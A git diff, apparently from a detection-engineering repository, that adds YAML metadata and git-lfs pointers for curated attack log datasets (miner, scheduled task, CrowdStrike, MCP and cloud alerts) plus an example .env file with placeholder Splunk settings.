/dev/null +++ b/datasets/malware/winter-vivern/scheduledtask/winter-vivern_scheduledtask.yml @@ -0,0 +1,13 @@ +author: STRT +id: fda06166-78cf-46e5-9427-f677f9bad664 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Scheduled Task Created + Via XML +environment: attack_range +directory: scheduledtask +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/winter-vivern/scheduledtask/sysmon-fda06166-78cf-46e5-9427-f677f9bad664.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/xmrig_miner/malware_xmrig_miner.yml b/datasets/malware/xmrig_miner/malware_xmrig_miner.yml new file mode 100644 index 000000000..d9d08ad77 --- /dev/null +++ b/datasets/malware/xmrig_miner/malware_xmrig_miner.yml @@ -0,0 +1,13 @@ +author: STRT +id: 41600ef0-8d3a-4b4f-9744-c12e074d5e0a +date: '2026-07-11' +description: Curated attack data generated for detection Excessive Attempt To Disable + Services +environment: attack_range +directory: xmrig_miner +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/xmrig_miner/windows-sysmon-41600ef0-8d3a-4b4f-9744-c12e074d5e0a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/xmrig_miner/windows-sysmon-41600ef0-8d3a-4b4f-9744-c12e074d5e0a.log b/datasets/malware/xmrig_miner/windows-sysmon-41600ef0-8d3a-4b4f-9744-c12e074d5e0a.log new file mode 100644 index 000000000..726b86fab --- /dev/null +++ b/datasets/malware/xmrig_miner/windows-sysmon-41600ef0-8d3a-4b4f-9744-c12e074d5e0a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f6dee1a585f55a6e9ea92006fc0fb62931071be103c51dfd71df1a87ed6bb29e +size 8416 diff --git a/datasets/mcp/datasets_mcp.yml b/datasets/mcp/datasets_mcp.yml new file mode 100644 index 000000000..eceb7c067 --- /dev/null +++ b/datasets/mcp/datasets_mcp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8419b614-6978-45c0-8298-563e2b6d8f8f +date: '2026-07-13' +description: Curated attack data generated for detection MCP Filesystem Server Suspicious + Extension Write +environment: attack_range +directory: mcp +mitre_technique: [] +datasets: +- name: mcp + path: /datasets/mcp/mcp-8419b614-6978-45c0-8298-563e2b6d8f8f.log + sourcetype: mcp:jsonrpc + source: mcp.log diff --git a/datasets/mcp/mcp-8419b614-6978-45c0-8298-563e2b6d8f8f.log b/datasets/mcp/mcp-8419b614-6978-45c0-8298-563e2b6d8f8f.log new file mode 100644 index 000000000..aa739cb94 --- /dev/null +++ b/datasets/mcp/mcp-8419b614-6978-45c0-8298-563e2b6d8f8f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:06e7214362597a4cb6afa301a0ae47e26158c2a5cbbdf0179a74c03f6a9e3f67 +size 3334 diff --git a/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/cloudtrail_behavioural_detections-67d22489-b77e-4ba2-ab98-b2912bd097d8.log b/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/cloudtrail_behavioural_detections-67d22489-b77e-4ba2-ab98-b2912bd097d8.log new file mode 100644 index 000000000..e52ae0425 --- /dev/null +++ b/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/cloudtrail_behavioural_detections-67d22489-b77e-4ba2-ab98-b2912bd097d8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f36415eba4fb779784354d471135112c7aa5ff1336e7b58257c1c89fab47ea36 +size 66826 diff --git a/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/suspicious_behaviour_abnormally_high_cloud_instances_launched.yml b/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/suspicious_behaviour_abnormally_high_cloud_instances_launched.yml new file mode 100644 index 000000000..59d189ce8 --- /dev/null +++ b/datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/suspicious_behaviour_abnormally_high_cloud_instances_launched.yml @@ -0,0 +1,13 @@ +author: STRT +id: 67d22489-b77e-4ba2-ab98-b2912bd097d8 +date: '2026-07-10' +description: Curated attack data generated for detection Cloud API Calls From Previously + Unseen User Roles +environment: attack_range +directory: abnormally_high_cloud_instances_launched +mitre_technique: [] +datasets: +- name: cloudtrail_behavioural_detections + path: /datasets/suspicious_behaviour/abnormally_high_cloud_instances_launched/cloudtrail_behavioural_detections-67d22489-b77e-4ba2-ab98-b2912bd097d8.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/suspicious_behaviour/alerts/defender_atp_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log b/datasets/suspicious_behaviour/alerts/defender_atp_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log new file mode 100644 index 000000000..f3ea0bb38 --- /dev/null +++ b/datasets/suspicious_behaviour/alerts/defender_atp_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bb50ca177609b2ec9484f1d39fd8b480dcb696fd079ae6672b2aadfa2fa55eba +size 3058 diff --git a/datasets/suspicious_behaviour/alerts/defender_incident_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log b/datasets/suspicious_behaviour/alerts/defender_incident_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log new file mode 100644 index 000000000..7c09d3c3a --- /dev/null +++ b/datasets/suspicious_behaviour/alerts/defender_incident_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0d6423e0b739c353afdd3f8a432b4df2bd127bd0ffcac6c85c833217fa4fb4e7 +size 4119 diff --git a/datasets/suspicious_behaviour/alerts/suspicious_behaviour_alerts.yml b/datasets/suspicious_behaviour/alerts/suspicious_behaviour_alerts.yml new file mode 100644 index 000000000..0e98eef98 --- /dev/null +++ b/datasets/suspicious_behaviour/alerts/suspicious_behaviour_alerts.yml @@ -0,0 +1,16 @@ +author: STRT +id: 5bac7375-c86c-4b5f-9631-9368e6d7ec2a +date: '2026-07-10' +description: Curated attack data generated for detection Microsoft Defender ATP Alerts +environment: attack_range +directory: alerts +mitre_technique: [] +datasets: +- name: defender_atp_alerts_single_event + path: /datasets/suspicious_behaviour/alerts/defender_atp_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log + sourcetype: ms:defender:atp:alerts + source: ms_defender_atp_alerts +- name: defender_incident_alerts_single_event + path: /datasets/suspicious_behaviour/alerts/defender_incident_alerts_single_event-5bac7375-c86c-4b5f-9631-9368e6d7ec2a.log + sourcetype: ms365:defender:incident:alerts + source: m365_defender_incident_alerts diff --git a/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/suspicious_behaviour_certutil_exe_certificate_extraction.yml b/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/suspicious_behaviour_certutil_exe_certificate_extraction.yml new file mode 100644 index 000000000..a34c68d52 --- /dev/null +++ b/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/suspicious_behaviour_certutil_exe_certificate_extraction.yml @@ -0,0 +1,13 @@ +author: STRT +id: a647993e-ee68-4a7e-a8b9-906c3013c5dd +date: '2026-07-10' +description: Curated attack data generated for detection Certutil exe certificate + extraction +environment: attack_range +directory: certutil_exe_certificate_extraction +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/suspicious_behaviour/certutil_exe_certificate_extraction/windows-sysmon-a647993e-ee68-4a7e-a8b9-906c3013c5dd.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/windows-sysmon-a647993e-ee68-4a7e-a8b9-906c3013c5dd.log b/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/windows-sysmon-a647993e-ee68-4a7e-a8b9-906c3013c5dd.log new file mode 100644 index 000000000..1493206fa --- /dev/null +++ b/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/windows-sysmon-a647993e-ee68-4a7e-a8b9-906c3013c5dd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:527dddbd4bfcf40d87dd085306f67c890084ee040f5554cab88de887b733a694 +size 23198 diff --git a/datasets/suspicious_behaviour/cisco_ai_defense_alerts/cisco_ai_defense_alerts-20426208-579e-47f3-a277-0587011d81c1.log b/datasets/suspicious_behaviour/cisco_ai_defense_alerts/cisco_ai_defense_alerts-20426208-579e-47f3-a277-0587011d81c1.log new file mode 100644 index 000000000..371848a60 --- /dev/null +++ b/datasets/suspicious_behaviour/cisco_ai_defense_alerts/cisco_ai_defense_alerts-20426208-579e-47f3-a277-0587011d81c1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1a04b1e34ac93143e65403b31bcc656418675fc339191bb8dc71532664f54eb4 +size 2091 diff --git a/datasets/suspicious_behaviour/cisco_ai_defense_alerts/suspicious_behaviour_cisco_ai_defense_alerts.yml b/datasets/suspicious_behaviour/cisco_ai_defense_alerts/suspicious_behaviour_cisco_ai_defense_alerts.yml new file mode 100644 index 000000000..7a1c2cdf0 --- /dev/null +++ b/datasets/suspicious_behaviour/cisco_ai_defense_alerts/suspicious_behaviour_cisco_ai_defense_alerts.yml @@ -0,0 +1,13 @@ +author: STRT +id: 20426208-579e-47f3-a277-0587011d81c1 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco AI Defense Security + Alerts by Application Name +environment: attack_range +directory: cisco_ai_defense_alerts +mitre_technique: [] +datasets: +- name: cisco_ai_defense_alerts + path: /datasets/suspicious_behaviour/cisco_ai_defense_alerts/cisco_ai_defense_alerts-20426208-579e-47f3-a277-0587011d81c1.log + sourcetype: cisco:ai:defense + source: cisco_ai_defense diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_admin_dup_pwd_cleaned-790dbc22-9392-472d-bf9b-70ced8c8ffeb.log b/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_admin_dup_pwd_cleaned-790dbc22-9392-472d-bf9b-70ced8c8ffeb.log new file mode 100644 index 000000000..48b6cdaa5 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_admin_dup_pwd_cleaned-790dbc22-9392-472d-bf9b-70ced8c8ffeb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3b5e0815f14b85970f9b60d65e843a1efcb80c33363dc02d79cf6e2bda30ff6e +size 1750 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_stream_admin_duplicate_password.yml b/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_stream_admin_duplicate_password.yml new file mode 100644 index 000000000..5785c1594 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_stream_admin_duplicate_password.yml @@ -0,0 +1,13 @@ +author: STRT +id: 790dbc22-9392-472d-bf9b-70ced8c8ffeb +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Admin With Duplicate + Password +environment: attack_range +directory: admin_duplicate_password +mitre_technique: [] +datasets: +- name: crowdstrike_admin_dup_pwd_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/admin_duplicate_password/crowdstrike_admin_dup_pwd_cleaned-790dbc22-9392-472d-bf9b-70ced8c8ffeb.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_stream_admin_weak_password_policy.yml b/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_stream_admin_weak_password_policy.yml new file mode 100644 index 000000000..416734106 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_stream_admin_weak_password_policy.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0879bc02-544c-42a9-ac06-0522f072757c +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Admin Weak Password + Policy +environment: attack_range +directory: admin_weak_password_policy +mitre_technique: [] +datasets: +- name: crowdstrike_weak_password_admin_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_weak_password_admin_cleaned-0879bc02-544c-42a9-ac06-0522f072757c.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_weak_password_admin_cleaned-0879bc02-544c-42a9-ac06-0522f072757c.log b/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_weak_password_admin_cleaned-0879bc02-544c-42a9-ac06-0522f072757c.log new file mode 100644 index 000000000..424636720 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/admin_weak_password_policy/crowdstrike_weak_password_admin_cleaned-0879bc02-544c-42a9-ac06-0522f072757c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b131c12fb88306b5f84a0e54d70ab30f052df2640d015137ef99ab29a1c9a31e +size 1897 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/crowdstrike_stream_event_stream_events.yml b/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/crowdstrike_stream_event_stream_events.yml new file mode 100644 index 000000000..6c39c5987 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/crowdstrike_stream_event_stream_events.yml @@ -0,0 +1,13 @@ +author: STRT +id: 77c78f1e-0cca-4b1e-aff0-297105bb2994 +date: '2026-07-10' +description: Curated attack data generated for detection CrowdStrike Falcon Stream + Alerts +environment: attack_range +directory: event_stream_events +mitre_technique: [] +datasets: +- name: stream_events_2 + path: /datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/stream_events_2-77c78f1e-0cca-4b1e-aff0-297105bb2994.log + sourcetype: CrowdStrike:Event:Streams:JSON + source: CrowdStrike:Event:Streams diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/stream_events_2-77c78f1e-0cca-4b1e-aff0-297105bb2994.log b/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/stream_events_2-77c78f1e-0cca-4b1e-aff0-297105bb2994.log new file mode 100644 index 000000000..9a9dde4b8 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/event_stream_events/stream_events_2-77c78f1e-0cca-4b1e-aff0-297105bb2994.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:26ee98c6f1db4d309fe70648f8375d496bdef68f6918b2a1ca91f256ef587e77 +size 77924 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_high_riskscore_cleaned-36ffa385-4f30-4838-bbb1-411aa1eb96c0.log b/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_high_riskscore_cleaned-36ffa385-4f30-4838-bbb1-411aa1eb96c0.log new file mode 100644 index 000000000..70e6eef05 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_high_riskscore_cleaned-36ffa385-4f30-4838-bbb1-411aa1eb96c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:76b474133fba8197adbb49763a946a0b0f2772c0126e1f606cf9d99d26e88882 +size 1664 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_stream_high_risk_score.yml b/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_stream_high_risk_score.yml new file mode 100644 index 000000000..0f5835f37 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_stream_high_risk_score.yml @@ -0,0 +1,13 @@ +author: STRT +id: 36ffa385-4f30-4838-bbb1-411aa1eb96c0 +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike High Identity + Risk Severity +environment: attack_range +directory: high_risk_score +mitre_technique: [] +datasets: +- name: crowdstrike_high_riskscore_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/high_risk_score/crowdstrike_high_riskscore_cleaned-36ffa385-4f30-4838-bbb1-411aa1eb96c0.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_medium_clean-0be93a68-594d-4ab7-b103-4df49acdd2ce.log b/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_medium_clean-0be93a68-594d-4ab7-b103-4df49acdd2ce.log new file mode 100644 index 000000000..5c3968dfe --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_medium_clean-0be93a68-594d-4ab7-b103-4df49acdd2ce.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:927e2f68113c5029761af9d878ea59927441c09997c60ff1d52c2d474f8037f7 +size 1067 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_stream_medium_alert.yml b/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_stream_medium_alert.yml new file mode 100644 index 000000000..429913d8d --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_stream_medium_alert.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0be93a68-594d-4ab7-b103-4df49acdd2ce +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Medium Severity + Alert +environment: attack_range +directory: medium_alert +mitre_technique: [] +datasets: +- name: crowdstrike_medium_clean + path: /datasets/suspicious_behaviour/crowdstrike_stream/medium_alert/crowdstrike_medium_clean-0be93a68-594d-4ab7-b103-4df49acdd2ce.log + sourcetype: CrowdStrike:Event:Streams:JSON + source: CrowdStrike:Event:Streams diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_multiple_low_cleaned-57eb18a7-faf5-4295-bd77-b0cfea0e5450.log b/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_multiple_low_cleaned-57eb18a7-faf5-4295-bd77-b0cfea0e5450.log new file mode 100644 index 000000000..95e0c3b62 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_multiple_low_cleaned-57eb18a7-faf5-4295-bd77-b0cfea0e5450.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:72d3bc8aae4fb792821ae7a207d0f609ad9c624394417f2d8a986f5ed10ca323 +size 3402 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_stream_multiple_low_alert.yml b/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_stream_multiple_low_alert.yml new file mode 100644 index 000000000..5275db12a --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_stream_multiple_low_alert.yml @@ -0,0 +1,13 @@ +author: STRT +id: 57eb18a7-faf5-4295-bd77-b0cfea0e5450 +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Multiple LOW + Severity Alerts +environment: attack_range +directory: multiple_low_alert +mitre_technique: [] +datasets: +- name: crowdstrike_multiple_low_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/multiple_low_alert/crowdstrike_multiple_low_cleaned-57eb18a7-faf5-4295-bd77-b0cfea0e5450.log + sourcetype: CrowdStrike:Event:Streams:JSON + source: CrowdStrike:Event:Streams diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_stream_non_adminweak_password_policy.yml b/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_stream_non_adminweak_password_policy.yml new file mode 100644 index 000000000..278ca576c --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_stream_non_adminweak_password_policy.yml @@ -0,0 +1,13 @@ +author: STRT +id: 13f4471d-7186-482d-8c12-861af5496394 +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike User Weak Password + Policy +environment: attack_range +directory: non_adminweak_password_policy +mitre_technique: [] +datasets: +- name: crowdstrike_user_weak_password_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_user_weak_password_cleaned-13f4471d-7186-482d-8c12-861af5496394.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_user_weak_password_cleaned-13f4471d-7186-482d-8c12-861af5496394.log b/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_user_weak_password_cleaned-13f4471d-7186-482d-8c12-861af5496394.log new file mode 100644 index 000000000..68e38b7ee --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/non_adminweak_password_policy/crowdstrike_user_weak_password_cleaned-13f4471d-7186-482d-8c12-861af5496394.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f459af031221a6a216c407e921ccc2a51e8ec9925cf5b70fd8e920e240e29a7 +size 1414 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_priv_esc_cleaned-040a79c7-e39f-4226-979c-170a8f40285c.log b/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_priv_esc_cleaned-040a79c7-e39f-4226-979c-170a8f40285c.log new file mode 100644 index 000000000..5dfdf4f82 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_priv_esc_cleaned-040a79c7-e39f-4226-979c-170a8f40285c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1be55bc9f44d58ece6cdd1a81a797fad4f4326417a7c614499b8cb8d2fe2b3e0 +size 1060 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_stream_privilege_escalation.yml b/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_stream_privilege_escalation.yml new file mode 100644 index 000000000..38d78fcd9 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_stream_privilege_escalation.yml @@ -0,0 +1,13 @@ +author: STRT +id: 040a79c7-e39f-4226-979c-170a8f40285c +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Privilege Escalation + For Non-Admin User +environment: attack_range +directory: privilege_escalation +mitre_technique: [] +datasets: +- name: crowdstrike_priv_esc_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/privilege_escalation/crowdstrike_priv_esc_cleaned-040a79c7-e39f-4226-979c-170a8f40285c.log + sourcetype: CrowdStrike:Event:Streams:JSON + source: CrowdStrike:Event:Streams diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_riskscore_cleaned-0feed5a9-8c51-4160-8973-39014bd7f24b.log b/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_riskscore_cleaned-0feed5a9-8c51-4160-8973-39014bd7f24b.log new file mode 100644 index 000000000..5c28521e5 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_riskscore_cleaned-0feed5a9-8c51-4160-8973-39014bd7f24b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:41b1a5593ef48a53e359c94e6ba0e319495f81270d6f4681f85001fda79a8fcc +size 1494 diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_stream_riskscore.yml b/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_stream_riskscore.yml new file mode 100644 index 000000000..b34dafbeb --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_stream_riskscore.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0feed5a9-8c51-4160-8973-39014bd7f24b +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike Medium Identity + Risk Severity +environment: attack_range +directory: riskscore +mitre_technique: [] +datasets: +- name: crowdstrike_riskscore_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/riskscore/crowdstrike_riskscore_cleaned-0feed5a9-8c51-4160-8973-39014bd7f24b.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_stream_user_duplicate_password.yml b/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_stream_user_duplicate_password.yml new file mode 100644 index 000000000..ce792f492 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_stream_user_duplicate_password.yml @@ -0,0 +1,13 @@ +author: STRT +id: 24c157c9-dd52-4d95-8e3a-70061f544689 +date: '2026-07-10' +description: Curated attack data generated for detection Crowdstrike User with Duplicate + Password +environment: attack_range +directory: user_duplicate_password +mitre_technique: [] +datasets: +- name: crowdstrike_user_dup_pwd_cleaned + path: /datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_user_dup_pwd_cleaned-24c157c9-dd52-4d95-8e3a-70061f544689.log + sourcetype: crowdstrike:identities + source: crowdstrike:identities diff --git a/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_user_dup_pwd_cleaned-24c157c9-dd52-4d95-8e3a-70061f544689.log b/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_user_dup_pwd_cleaned-24c157c9-dd52-4d95-8e3a-70061f544689.log new file mode 100644 index 000000000..fd51faf48 --- /dev/null +++ b/datasets/suspicious_behaviour/crowdstrike_stream/user_duplicate_password/crowdstrike_user_dup_pwd_cleaned-24c157c9-dd52-4d95-8e3a-70061f544689.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c311054d83d50958e2da48b6d5939f77bcdd064b119359f675400d96d0d8da16 +size 1313 diff --git a/datasets/suspicious_behaviour/local_llms/suspicious_behaviour_local_llms.yml b/datasets/suspicious_behaviour/local_llms/suspicious_behaviour_local_llms.yml new file mode 100644 index 000000000..b9dc574ed --- /dev/null +++ b/datasets/suspicious_behaviour/local_llms/suspicious_behaviour_local_llms.yml @@ -0,0 +1,16 @@ +author: STRT +id: 7150ac07-f65d-48ff-8885-fa8af09125b8 +date: '2026-07-11' +description: Curated attack data generated for detection LLM Model File Creation +environment: attack_range +directory: local_llms +mitre_technique: [] +datasets: +- name: sysmon_local_llms + path: /datasets/suspicious_behaviour/local_llms/sysmon_local_llms-7150ac07-f65d-48ff-8885-fa8af09125b8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: sysmon_dns + path: /datasets/suspicious_behaviour/local_llms/sysmon_dns-7150ac07-f65d-48ff-8885-fa8af09125b8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/suspicious_behaviour/local_llms/sysmon_dns-7150ac07-f65d-48ff-8885-fa8af09125b8.log b/datasets/suspicious_behaviour/local_llms/sysmon_dns-7150ac07-f65d-48ff-8885-fa8af09125b8.log new file mode 100644 index 000000000..31bc29465 --- /dev/null +++ b/datasets/suspicious_behaviour/local_llms/sysmon_dns-7150ac07-f65d-48ff-8885-fa8af09125b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6f95be1b79799287f6c5840f0ef0ae9784f2405b6fff79e460e42708ba488c82 +size 5435 diff --git a/datasets/suspicious_behaviour/local_llms/sysmon_local_llms-7150ac07-f65d-48ff-8885-fa8af09125b8.log b/datasets/suspicious_behaviour/local_llms/sysmon_local_llms-7150ac07-f65d-48ff-8885-fa8af09125b8.log new file mode 100644 index 000000000..3f8597a45 --- /dev/null +++ b/datasets/suspicious_behaviour/local_llms/sysmon_local_llms-7150ac07-f65d-48ff-8885-fa8af09125b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c98afb657c4e8cc8dde18a29de0e8ca7e1abbcb96bacb0fe5a6bb3cea605a7a6 +size 72753 diff --git a/scripts/.env.example b/scripts/.env.example new file mode 100644 index 000000000..f4a3ede06 --- /dev/null +++ b/scripts/.env.example @@ -0,0 +1,14 @@ +# Copy this file to .env and fill in your values. +# migrate.py loads .env automatically (from the scripts/ directory or repo root). + +# --- Splunk (shared) --- +SPLUNK_HOST=192.168.1.100 + +# --- Splunk HEC (upload stage) --- +SPLUNK_HEC_TOKEN=00000000-0000-0000-0000-000000000000 +SPLUNK_HEC_PORT=8088 + +# --- Splunk management API (detect / export stages) --- +SPLUNK_USERNAME=admin +SPLUNK_PASSWORD=changeme +SPLUNK_PORT=8089 diff --git a/scripts/README.md b/scripts/README.md new file mode 100644 index 000000000..b0ddd7dae --- /dev/null +++ b/scripts/README.md 